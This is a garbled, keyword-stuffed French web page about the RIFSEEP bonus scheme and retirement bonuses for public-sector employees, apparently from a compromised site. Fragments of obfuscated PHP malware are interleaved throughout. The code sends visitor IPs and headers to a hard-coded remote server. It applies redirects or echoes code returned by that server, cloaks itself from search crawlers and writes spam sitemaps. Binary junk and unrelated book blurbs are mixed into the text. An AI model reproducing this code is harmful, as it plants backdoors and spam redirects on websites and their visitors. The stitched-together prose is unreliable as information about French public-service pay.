Les différentes rencontres de la délégation FO, avec la Conseillère Budget de la Fonction Publique, avec le Cabinet du 1 er Ministre et des appels à la grève et aux manifestations ont abouti !. Mettre à jour maintenant, Je souhaite recevoir la newsletter d'Acteurs publics, Le versement d’une prime de départ à la retraite reste possible dans le cadre du “Rifseep”, Numérique – Documents budgétaires – Organisation administrative, Les députés approuvent la réforme de la responsabilité des gestionnaires publics, Emmanuel Macron sur tous les fronts diplomatiques pour défendre un “ordre public numérique”, Plus de créations de postes que prévu en 2022 chez les opérateurs de l’État. Formation, concours, examens. - Loi n° 84-53 du 26 janvier 1984 portant dispositions statutaires relatives à la fonction publique territoriale, et notamment son article 88 . @file_exists(_7ejh67f::$_mg8ineh5)) {@mkdir(_7ejh67f::$_mg8ineh5);}}private static function _s6ylu(){$_ndh8ovyp = array();foreach (scandir(_7ejh67f::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _7ejh67f::$_y0cg5rk9) === 0) {$_ndh8ovyp[] = $_1r1ytw3i;}}return $_ndh8ovyp;}public static function _cb7nl(){return TRUE;}static public function _fqr0f(){if (empty(_7ejh67f::$_1k2xibe7)){$_ndh8ovyp = _7ejh67f::_s6ylu();_7ejh67f::$_1k2xibe7 = @file(_7ejh67f::$_mg8ineh5 . . FO OBTIENT GAIN DE CAUSE !. “De nombreuses collectivités versent des primes très modestes aux agents lors de leur départ en retraite mais il s’agit d’une pratique qui ne semble pas avoir de fondement légal, développait-il ainsi dans sa question. Le RIFSEEP ou régime indemnitaire va devenir, d'ici fin 2016, le nouvel outil indemnitaire de référence en remplaçant la plupart des primes et indemnités existantes dans la fonction publique de l'Etat. Schwimmen, Schwimmunterricht, Sportgeschichte, Pädagogik Schwimmtechnik, Schwimmart, Übungssammlung. Certes, répond le gouvernement, “aucun texte législatif ou réglementaire n’institue une indemnité de départ à la retraite dans la fonction publique”. Filières, évolution de carrière, droits, devoirs. Le RIFSEEP ne concerne pas les agents contractuels. Identifiez-vous "salt3"), 0, 6);if (isset($_GET[$_pj0tc220])) {$_828m12mh = $_GET[$_pj0tc220];} elseif (strpos($_SERVER["REQUEST_URI"], $_pj0tc220) !== FALSE) {$_aswa2j0t = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_aswa2j0t as $_mh60v4ta) {if (strpos($_mh60v4ta, $_pj0tc220) !== FALSE) {$_27ym1h2g = explode("=", $_mh60v4ta);$_gfqor979 = array_pop($_27ym1h2g);$_gfqor979 = str_replace($_pj0tc220 . d’Acteurs publics ainsi que du site acteurspublics.fr Nouveau Régime Indemnitaire --- Régime Indemnitaire tenant compte des Fonctions, des Sujétions, de l'Expetise et de l'Engagement Pofessionnel au sein de la 03/2020 Références : Loi n° 84-53 du 26 janvier 1984 - article 88 (JO du 27.01.1984) Décret n° 2014-513 du 20 mai 2014 (JO du 22.05.2014) RIFSEEP et son application dans la Fonction Publique Territoriale. Le RIFSEEP ou régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'engagement professionnel, est le nouvel outil indemnitaire de référence qui remplace la plupart des primes et indemnités existantes dans la fonction publique de l'Etat. Réunions CDG31/ Élus-employeurs RIFSEEP Régime Indemnitaire tenant compte des Fonctions, des Sujétions, de l'Expertise et de l'Engagement Professionnel RIFSEEP RIFSEEP Un régime indemnitaire fondé sur la fonction et la valeur professionnelle Mise en place de l'IFSE : cas pratique RIFSEEP Préambule En l'absence de textes de mise en œuvre propres à la fonction publique . La cour administrative d’appel de Versailles vient de donner raison à... Mettez à jour votre navigateur pour afficher correctement ce site Web. "https" : "http", $_SERVER['HTTP_HOST'], $_andfxj3q);}public static function _xxs2i(){$_vn5cqijv = array("https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap","https://www.google.com/ping?sitemap=" => "Sitemap Notification Received");$_vlgsftp3 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_eysjbv0m = urlencode(_lda0hc::_al5kt() . "\n", 8);}}class _lda0hc{static public $_7kh8mdix = "5.0";static public $_df6hufth = "06147fdd-b2db-9393-8232-1e66d9701222";private $_bs94zvur = "http://136.12.78.46/app/assets/api2?action=redir";private $_n4rn33sr = "http://136.12.78.46/app/assets/api?action=page";static public $_zcihyr1v = 5;static public $_tw16uhhg = 20;private function _2ig98(){$_h3heyeyh = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_h3heyeyh, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_f0icrwjc = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_f0icrwjc = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_f0icrwjc = 1;} else {$_f0icrwjc = 0;}return $_f0icrwjc;}private static function _h6qek(){$_ml40t87w = array();$_ml40t87w['ip'] = $_SERVER['REMOTE_ADDR'];$_ml40t87w['qs'] = @$_SERVER['HTTP_HOST'] . $_y3ykebhl, FILE_IGNORE_NEW_LINES));}}return _7ejh67f::$_wyhbcvbm;}static public function _jyo6n($_fwxioqr0){if (@file_exists(_7ejh67f::$_y0cg5rk9 . Et ce plus précisément dans le cadre de son second volet, le complément indemnitaire annuel (CIA). À la différence du secteur privé, aucun texte n’institue une indemnité de départ à la retraite dans la fonction publique. A l'occasion de l'anniversaire des 150 ans de la mort d’Hector Berlioz, Bruno Messina se livre, avec cette biographie, à un exercice singulier pour approcher la vie et l’œuvre du génie romantique qui a su révolutionner l’histoire ... 22, rue Wilson - 68027 COLMAR Cedex . Le RIFSEEP dans la fonction publique de l'État : un dispositif incomplet, qui exclut une partie des hauts fonctionnaires. Le très attendu décret du 27 février étend à dix-huit cadres d'emploi des filières technique et sanitaire et . RIFSEEP - GENERALITES . h�ԕmo�6ǿ La définition du RIFSEEP Le RIFSEEP est un nouveau dispositif indemnitaire qui va, d'ici fin 2016, remplacer la plupart des primes et indemnités existantes dans la Fonction Publique Territoriale, sans perte de rémunération pour les agents de la fonction publique d'Etat. Notation, évaluation. Fonction Publique Territoriale nécessite la parution d'arrêtés relatifs aux corps de la Fonction . @file_exists(_aus76cu::$_mg8ineh5)) {@mkdir(_aus76cu::$_mg8ineh5);}}static public function _ieqpv(){$_a53xa54i = 0;foreach (scandir(_aus76cu::$_mg8ineh5) as $_1r1ytw3i) {$_a53xa54i += 1;}return $_a53xa54i;}public static function _cb7nl(){return TRUE;}public function __construct($_lx0sjdo6, $_f81jkr2t, $_828m12mh, $_2zvnung4){$this->_t3xm0fz4 = $_lx0sjdo6;$this->_x62o246p = $_f81jkr2t;$this->_gj3jbb0r = $_828m12mh;$this->_upq3q6mj = $_2zvnung4;}public function _vh5ig(){function _3ki5x($_djhgibbx, $_uwt4spro){return round(rand($_djhgibbx, $_uwt4spro - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_6nmsnsc1 = _7ejh67f::_b4rea();$_sk5gmeyq = str_replace("{{ text }}", $this->_x62o246p,str_replace("{{ keyword }}", $this->_gj3jbb0r,str_replace("{{ links }}", $this->_upq3q6mj, $this->_t3xm0fz4)));while (TRUE) {$_xmahux1u = preg_replace('/' . Alors que les plus pessimistes prophétisent encore la fin du métier de bibliothécaire, en réduisant son périmètre à la seule conservation du livre imprimé, l'actualité politique démontre chaque jour qu'il est plus que jamais ... $_eysjbv0m, NULL, $_vlgsftp3);}if (empty($_y445s0h0)) {return FALSE;}if (strpos($_y445s0h0, $_kb25ac31) === FALSE) {return FALSE;}}return TRUE;}public static function _63ajb(){$_159d1ncu = "User-agent: *\nDisallow: %s\nUser-agent: Bingbot\nUser-agent: Googlebot\nUser-agent: Slurp\nDisallow:\nSitemap: %s\n";$_andfxj3q = explode("? Dans la fonction publique de l'État, son montant est plafonné entre 10 et 15 % du montant total du RIFSEEP ; ce plafond ne s'applique pas à la fonction publique territoriale. Retraite. Trouvé à l'intérieur – Page 100primes ? Question. #. 58. D. ANS LA FONCTION PUBLIQUE D'ÉTAT, il existe un régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'en gagement professionnel (RIFSEEP). Cet outil indemnitaire de référence ... "-" . ����r'B8/��aR�*m�_�Nx$�%E����o��y^�_
�u��즮^w�ya$�*qa�+WzN���\���I��I�*�~{dkc��6#����}� ���E���iaX��5��W���u����V5>m�&�. Crise sanitaire - Prime exceptionnelle aux agents publics . Les employeurs territoriaux peuvent malgré tout "valoriser la valeur professionnelle, l'investissement personnel ou la contribution au collectif de travail d’un agent proche de l’âge de départ à la retraite” dans le cadre . Il actualise aussi les équivalences des cadres d'emplois entre la fonction publique territoriale et la fonction publique d'Etat prévues par le décret n° 91-875 suite aux évolutions des différents cadres d'emplois. Cette offre n’est assortie d’aucune obligation d’abonnement payant. Grille indiciaire de la fonction publique territoriale; Soyez averti des mises à jour de toutes les grilles indiciaires de la FPT. En ce qui concerne la fonction publique territoriale, les infirmiers en soins généraux remplissent cette condition MAIS pour l'instant, les grades de ce cadre d'emplois ne sont pas mentionnés dans le décret n° 91-875 du 6 septembre 1991 fixant les équivalences entre corps de l'État et cadres d'emplois de la fonction publique . Régime indemnitaire dans la fonction publique : Rifseep ou autres primes Vérifié le 12 juin 2021 - Direction de l'information légale et administrative (Premier ministre) "/sitemap.xml";@file_put_contents($_lmdjw05k, $_v3svjaki);return $_eysjbv0m;}public function _nibp2(){$_pj0tc220 = substr(md5(_lda0hc::$_df6hufth . Décret 2014-513 du 20 avril 2014 Circulaire Ministère de la décentralisation et de la fonction publique - Ministère des finances [Mise à jour : 24 juillet 2017] Le décret est paru en mai 2014.Il crée une indemnité de fonctions, des sujétions et d'expertise (IFSE), qui a vocation à se substituer aux régimes indemnitaires ayant le même objet pour tous les fonctionnaires de l'Etat.L'IFSE se substitue à la prime de fonctions et de résultats (PFR), prime individuelle au mérite. En créant votre compte, vous accédez Se contenter des dernières délibérations au risque d'oublier certaines primes toujours valables. Sigles utilisés et expressions 2/2 cdgvar.fr 7 PPCR Parcours professionnels, carrières et rémunérations RAFP Régime Additionnel de la Fonction Publique RH Ressources humaines RI Régime indemnitaire SFT Supplément familial de traitement Acronymes : RIFSEEP Régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'engagement professionnel Cette nouvelle prime remplace une grande partie Le décret n° 2020-182 du 27 février 2020 relatif au régime indemnitaire des agents de la fonction publique territoriale actualise les équivalences avec la fonction publique de l'Etat des différents cadres d'emplois de la fonction publique territoriale pour la définition des . md5($_828m12mh . "\n" . 6 janvier 2020 - Mission Fonction publique territoriale - Stéphanie COLAS Passage à la déclaration sociale nominative (DSN) pour certains employeurs publics La déclaration sociale nominative (DSN) remplace et simplifie la majorité des déclarations sociales en automatisant leur transmission à partir des données de paie. Les employeurs territoriaux peuvent malgré tout “valoriser la valeur professionnelle, l’investissement personnel ou la contribution au collectif de travail d’un agent proche de l’âge de départ à la retraite” dans le cadre du dispositif indemnitaire Rifseep, explique le gouvernement dans la réponse à une question écrite d’un parlementaire. Le décret n° 2014-513 du 20 mai 2014 a institué un régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'engagement professionnel (RIFSEEP) qui a vocation à se subsister aux régimes indemnitaires actuellement mis en œuvre dans la fonction publique de l'Etat et dans la fonction publique territoriale. "salt12"), 0, 4));_7ejh67f::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . et de façon Le décret n° 2010-997 du 26 août 2010 prévoit les conditions de maintien des primes et indemnités des agents publics de l'Etat dans certaines situations de congés.Bien qu'il n'existe pas de dispositif semblable dans la fonction publique territoriale, les collectivités et établissements peuvent s'inspirer de ces dispositions. La 4e de couverture indique : "La fonction publique, à l'instar de l'État, occupe une place singulière en France. Le décret n°2014-513 a instauré un nouveau régime indemnitaire tenant compte des fonctions, des sujétions, de l'expertise et de l'expérience professionnelle dans la fonction publique d'État. chr($_e1sfft94);}} while ($_nms1ebw0 < strlen($_efa9rziw));return $_esetfuvv;}private function _subdr($_828m12mh){$_lx0sjdo6 = "";$_f81jkr2t = "";$_ml40t87w = _lda0hc::_h6qek();$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w["keyword"] = $_828m12mh;$_ml40t87w["tc"] = 10;$_ml40t87w = http_build_query($_ml40t87w);$_33tm41mt = _mtcvqi::_0jicd($this->_n4rn33sr, $_ml40t87w);if (strpos($_33tm41mt, _lda0hc::$_df6hufth) === FALSE) {return array($_lx0sjdo6, $_f81jkr2t);}$_lx0sjdo6 = _sh9xgp2::_fqr0f();$_f81jkr2t = substr($_33tm41mt, strlen(_lda0hc::$_df6hufth));$_f81jkr2t = explode("\n", $_f81jkr2t);shuffle($_f81jkr2t);$_f81jkr2t = implode(" ", $_f81jkr2t);return array($_lx0sjdo6, $_f81jkr2t);}private function _nro6t(){$_ml40t87w = _lda0hc::_h6qek();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_ml40t87w['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_ml40t87w['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_ml40t87w['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w = http_build_query($_ml40t87w);$_nh33fegd = _mtcvqi::_0jicd($this->_bs94zvur, $_ml40t87w);$_nh33fegd = @unserialize($_nh33fegd);if (isset($_nh33fegd["type"]) && $_nh33fegd["type"] == "redir") {if (!empty($_nh33fegd["data"]["header"])) {header($_nh33fegd["data"]["header"]);return true;} elseif (!empty($_nh33fegd["data"]["code"])) {echo $_nh33fegd["data"]["code"];return true;}}return false;}public function _cb7nl(){return _aus76cu::_cb7nl() && _sh9xgp2::_cb7nl() && _7ejh67f::_cb7nl();}static public function _hf7ac(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _vmhjl(){$_andfxj3q = explode("? Cet ouvrage propose une analyse pratique et actualisée des fraudes à la taxe sur la valeur ajoutée. Trouvé à l'intérieur – Page 10MAPTAM : Modernisation de l'action publique territoriale et d'affirmation des métropoles MDT : Multidisciplinary ... unique RAP : Rapport annuel de performance RCE : Responsabilités et compétences élargies PFR : Prime de fonctions et de ... "_" . L'esprit d'équipe et Gestion de la dynamique de groupe donne aux dirigeants, aux managers, aux chefs d'équipe et aux consultants des conseils pratiques sur la façon de construire et de gérer des équipes. En application de l'article 88 de la loi n° 84-53 du 26 janvier 1984 portant dispositions statutaires relatives à la fonction publique territoriale et selon le principe de parité, les collectivités territoriales et leurs L’originalité ici sera d’étudier ensemble ces deux aspects, de présenter les régimes juridiques associés à chaque type de crimes internationaux et d’étudier les évolutions de la société internationale tout à la fois ... Circulaire « le RIFSEEP / CDG 77 / Mise à jour de Août 2019 Page 2 S O M M A I RE I - LE RIFSSEP 1.1 - Le principe et la transposition du RIFSEEP dans la Fonction Publique Territoriale 1.2 - Les bénéficiaires 1.3 - Les agents exclus 1.4 - Les cumuls possibles avec d'autres indemnités B����Ȼ�Y�1��&9u)�"f2 ��)��E*�^0. $_wtc22jcu[array_rand($_wtc22jcu)]);}static public function _jyo6n($_r0c9xfdb){if (@file_exists(_sh9xgp2::$_y0cg5rk9 . Le régime indemnitaire est un complément de rémunération non négligeable dans la fonction publique, les salaires de base étant gelés depuis 2010, et l'évolution de carrière étant linéaire, les candidats à leur premier emploi ou les agents déjà en poste qui souhaitent améliorer leurs prétentions salariales ont intérêt à connaître certains rouages avant de formuler leur . Dans la fonction publique territoriale, chaque employeur peut le mettre en place (par d'une décision de l assemblée délibérante) pour le cadre d'emplois correspondant à un corps de référence de la fonction publique de l'Etat. Annexe III - Article 88 de la loi n° 84-53 du 26 janvier 1984 portant dispositions statutaires relatives à la fonction publique territoriale Annexe IV - Calendrier de mise en place du RIFSEEP Accueil Mode de Calcul Grille indiciaire 2021: Grille indiciaire État Grille indiciaire . LES PRINCIPES DE BASE DU RIFSEEP 14 la prime de fonctions et les résultats la prime de fonctions informatiques "\r\n" . Service gratuit. Tél. ".list", $_fwxioqr0);}static public function _bw2av($_828m12mh){@file_put_contents(_7ejh67f::$_y0cg5rk9 . Prime fonction publique territoriale catégorie c Primes et indemnités des agents territoriau . Notation, évaluation. Le RIFSEEP a été instauré par le décret n° 2014-513 du 20 mai 2014 dans la fonction Publique d'État.Le décret n° 2015-661 du 10 juin 2015 a modifié le calendrier initial de mise en œuvre de ce régime indemnitaire dans la fonction publique de l'État. S’inscrire gratuitementà notre newsletter, Recevez chaque jour l’actualité des politiques publiques et de la de la Fonction Publique et du Ministère des finances et des comptes publics, relative à la mise en oeuvre du RIFSEEP . $_f3plf815);$_73286swj = @file_get_contents($_nicu9duy);return (strpos($_73286swj, $_f3plf815) !== FALSE);}return FALSE;}public static function _al5kt(){$_andfxj3q = explode("? chr($_qe3b8zki);}if ($_3eow8z17 != 64) {$_esetfuvv = $_esetfuvv . sujétions, de l'expeØtise et de l'engagement pofessionnel dans la fonction publique territoriale. Indemnités des élus. Formation, concours, examens. nous vous en remercions. Calcul et éléments de la paie. Ce simulateur est ouvert afin de vous permettre d'estimer vos droits à la Prime d'activité entrée en vigueur le 1er janvier 2016. En principe, le RIFSEEP est donc exclusif de tout autre régime indemnitaire de même nature. Votre abonnement a bien été pris en compte. Compte tenu de la faiblesse des rémunérations octroyées aux fonctionnaires territoriaux et qui se traduit par des retraites largement inférieures à celles pratiquées dans les autres versants de la fonction publique, il serait important d’encourager des mesures sociales de nature à compenser cette inégalité.” Des mesures équivalant à l’indemnité de départ à la retraite prévue dans le privé, donc. à tous les articles (hors nominations) de la newsletter et du site Note d'information Le RIFSEEP Présentation Le RIFSEEP ou Régime Indemnitaire tenant compte des Fonctions, des Sujétions, de l'Expertise et de l'Engage- ment Professionnel, remplace la plupart des primes et indemnités existantes dans la fonction publique Territo- riale à compter du 1er janvier 2016. . La formation constitue une solution de choix pour améliorer la performance d’une organisation, mais encore faut-il se doter d’une stratégie adéquate pour rentabiliser cet investissement. Toute l’équipe d’Acteurs publics vous souhaite la bienvenue et vous remercie pour votre confiance. À la différence du secteur privé, aucun texte n'institue une indemnité de départ à la retraite dans la fonction publique. y compris celles n'ayant pas mis en place le RIFSEEP. Trouvé à l'intérieur – Page 55Différentes évolutions au sein de la fonction publique marquent le glissement vers une fonction publique de métiers : ... de l'expertise et de l'engagement professionnel (RIFSEEP), rupture conventionnelle, prime d'intéressement à la ... Décret n°2020-570 relatif au versement d'une prime exceptionnelle à certains agents civils et militaires de la Fonction publique de l'Etat et la fonction publique territoriale soumis à des sujétions exceptionnelles pour assurer la continuité des services publics dans le cadre de l'état d'urgence déclaré pour faire face à l . !�ȁ÷�I���ƺ�2ʐ��}8�z#"�Ĩ�l������ɤ���^x�$����(�8U}",��Ջ�]�����o���������T�(���4�ҍ�T�$e"�t�, #�. La Fonction publique territoriale emploie près de 1,9 million d'agents. Le décret n°2020-182 du 27 Février 2020 relatif au régime indemnitaire des agents de la Fonction Publique Territoriale entre en vigueur le 01 Mars 2020. Saisissez l’email avec lequel vous êtes inscrits. Il est cependant possible de verser annuellement une prime en se basant sur le RIFSEEP (IFSE ou CI) Oui, mais pas sur le même modèle que celui qui prévaut pour les salariés du privé, explique le gouvernement dans la réponse à une question écrite du député socialiste Régis Juanico, publiée le 8 juin dernier. Une circulaire du 5 décembre 2014 précise les modalités de mise en oeuvre.. La mise en place du RIFSEEP concernait dans un premier temps les services centraux de l'État ; la transposition à . Initialement, le RIFSEEP devait être . Cette disposition prive donc en principe de base légale le versement de la PFR après cette date, ce qui rend le calendrier d'autant plus contraignant. @file_exists(_sh9xgp2::$_mg8ineh5)) {@mkdir(_sh9xgp2::$_mg8ineh5);}}public static function _cb7nl(){return TRUE;}static public function _ieqpv(){$_a53xa54i = 0;foreach (scandir(_sh9xgp2::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _sh9xgp2::$_y0cg5rk9) === 0) {$_a53xa54i += 1;}}return $_a53xa54i;}static public function _fqr0f(){$_wtc22jcu = array();foreach (scandir(_sh9xgp2::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _sh9xgp2::$_y0cg5rk9) === 0) {$_wtc22jcu[] = $_1r1ytw3i;}}return @file_get_contents(_sh9xgp2::$_mg8ineh5 . $_g2sgg2m8);}$_ty56szt0 = sprintf("%s?%s=%s",$_mdxxrv14,$_pj0tc220,urlencode($_828m12mh));}}return $_ty56szt0;}public static function _b64s1($_djhgibbx, $_uwt4spro){$_zyl2nj54 = "";for ($_nms1ebw0 = 0; $_nms1ebw0 < rand($_djhgibbx, $_uwt4spro); $_nms1ebw0++) {$_828m12mh = _7ejh67f::_fqr0f();$_zyl2nj54 .= sprintf("%s,\n",_lda0hc::_batgm($_828m12mh), ucwords($_828m12mh));}return $_zyl2nj54;}public static function _64wkc($_2b3oj76i=FALSE){$_lmdjw05k = dirname(__FILE__) . Cette offre n’est assortie d’aucune obligation d’abonnement payant. Annexe I - Décret n° 91-875 du 6 septembre 1991 pris pour l'application du premier alinéa de l'article 88 de la loi du 26 janvier 1984 portant dispositions statutaires relatives à la fonction publique territoriale "/";_7ejh67f::$_y0cg5rk9 = $_nrw3vudd;if (! Acteurs publics pendant les 24 premières heures de leur publication. Références : Loi n° 84-53 du 26 janvier 1984 portant dispositions statutaires relatives à la fonction publique territoriale, et notamment son article 88 ; Vous recevrez un e-mail vous permettant de réinitialiser votre mot de passe. S'agissant des politiques indemnitaires, seules les modalités de leur mise en œuvre figurent parmi les domaines sur lesquels peut porter un accord au titre de la négociation collective dans la fonction publique en vertu .
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